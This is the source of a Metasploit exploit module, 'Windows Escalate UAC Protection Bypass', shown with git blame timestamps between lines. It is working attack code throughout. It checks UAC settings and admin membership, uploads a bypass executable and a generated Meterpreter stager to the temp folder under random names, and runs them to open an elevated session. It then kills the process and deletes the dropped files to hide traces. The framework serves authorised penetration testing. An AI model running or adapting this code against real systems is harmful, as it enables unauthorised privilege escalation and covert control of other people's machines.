metasploit-framework/modules/exploits/windows/local/bypassuac.rb

181 lines
5.2 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Local
2013-09-05 19:05:34 +00:00
Rank = ExcellentRanking
2014-08-01 21:40:23 +00:00
include Exploit::EXE
include Post::File
2013-09-05 19:05:34 +00:00
include Post::Windows::Priv
include Post::Windows::Runas
2013-09-05 19:05:34 +00:00
def initialize(info={})
super( update_info(info,
2013-09-05 19:05:34 +00:00
'Name' => 'Windows Escalate UAC Protection Bypass',
'Description' => %q{
This module will bypass Windows UAC by utilizing the trusted publisher
certificate through process injection. It will spawn a second shell that
has the UAC flag turned off.
},
'License' => MSF_LICENSE,
'Author' => [
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
'mitnick',
'mubix' # Port to local exploit
2013-09-05 19:05:34 +00:00
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
2014-08-01 21:40:23 +00:00
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
2013-09-05 19:05:34 +00:00
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
],
'DisclosureDate'=> "Dec 31 2010"
))
register_options([
OptEnum.new('TECHNIQUE', [true, 'Technique to use if UAC is turned off',
'EXE', %w(PSH EXE)]),
])
end
2014-08-01 21:40:23 +00:00
def check_permissions!
# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
2013-09-05 19:05:34 +00:00
2014-08-01 21:40:23 +00:00
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
2013-09-05 19:05:34 +00:00
else
2014-08-01 21:40:23 +00:00
if admin_group
print_good('Part of Administrators group! Continuing...')
2013-10-17 23:08:06 +00:00
else
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
2013-10-17 23:08:06 +00:00
end
2013-09-05 19:05:34 +00:00
end
2014-08-01 21:40:23 +00:00
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
2014-08-01 21:40:23 +00:00
end
end
def exploit
validate_environment!
2013-09-05 19:05:34 +00:00
case get_uac_level
2013-10-18 17:26:07 +00:00
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
2013-09-05 19:05:34 +00:00
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
2013-10-18 17:26:07 +00:00
when UAC_DEFAULT
print_good 'UAC is set to Default'
print_good 'BypassUAC can bypass this setting, continuing...'
2013-10-18 17:26:07 +00:00
when UAC_NO_PROMPT
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
runas_method
return
2013-09-05 19:05:34 +00:00
end
2014-08-01 21:40:23 +00:00
check_permissions!
2013-09-05 19:05:34 +00:00
2014-08-01 21:40:23 +00:00
upload_binaries!
cmd = "#{path_bypass} /c #{path_payload}"
# execute the payload
pid = cmd_exec_get_pid(cmd)
::Timeout.timeout(30) do
select(nil, nil, nil, 1) until session_created?
2013-09-05 19:05:34 +00:00
end
2014-08-01 21:40:23 +00:00
session.sys.process.kill(pid)
# delete the uac bypass payload
file_rm(path_bypass)
file_rm("#{expand_path("%TEMP%")}\\tior.exe")
cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
2014-08-01 21:40:23 +00:00
end
2013-09-05 19:05:34 +00:00
2014-08-01 21:40:23 +00:00
def path_bypass
@bypass_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.exe"
end
2013-09-05 19:05:34 +00:00
2014-08-01 21:40:23 +00:00
def path_payload
@payload_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.exe"
end
def upload_binaries!
print_status('Uploaded the agent to the filesystem....')
2013-09-05 19:05:34 +00:00
#
# Generate payload and random names for upload
#
payload = generate_payload_exe
# path to the bypassuac binary
path = ::File.join(Msf::Config.data_directory, 'post')
2013-09-05 19:05:34 +00:00
# decide, x86 or x64
bpexe = nil
if sysinfo["Architecture"] =~ /x64/i
bpexe = ::File.join(path, 'bypassuac-x64.exe')
2013-09-05 19:05:34 +00:00
else
bpexe = ::File.join(path, 'bypassuac-x86.exe')
2013-09-05 19:05:34 +00:00
end
print_status('Uploading the bypass UAC executable to the filesystem...')
2013-09-05 19:05:34 +00:00
begin
#
# Upload UAC bypass to the filesystem
#
2014-08-01 21:40:23 +00:00
upload_file("#{path_bypass}", bpexe)
2013-09-05 19:05:34 +00:00
print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
2014-08-01 21:40:23 +00:00
write_file(path_payload, payload)
2013-09-05 19:05:34 +00:00
rescue ::Exception => e
2014-08-01 21:40:23 +00:00
print_error("Error uploading file #{path_bypass}: #{e.class} #{e}")
2013-09-05 19:05:34 +00:00
return
end
2014-08-01 21:40:23 +00:00
end
2013-09-05 19:05:34 +00:00
2014-08-01 21:40:23 +00:00
def runas_method
case datastore['TECHNIQUE']
when 'PSH'
# execute PSH
shell_execute_psh
when 'EXE'
# execute EXE
shell_execute_exe
end
2014-08-01 21:40:23 +00:00
end
2013-09-05 19:05:34 +00:00
2014-08-01 21:40:23 +00:00
def validate_environment!
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
#
# Verify use against Vista+
#
winver = sysinfo['OS']
2013-09-05 19:05:34 +00:00
2014-08-01 21:40:23 +00:00
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
end
2013-09-05 19:05:34 +00:00
2014-08-01 21:40:23 +00:00
if is_uac_enabled?
print_status 'UAC is Enabled, checking level...'
2014-08-01 21:40:23 +00:00
else
if is_in_admin_group?
fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
2014-08-01 21:40:23 +00:00
else
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
2014-08-01 21:40:23 +00:00
end
end
2013-09-05 19:05:34 +00:00
end
2014-08-01 21:40:23 +00:00
end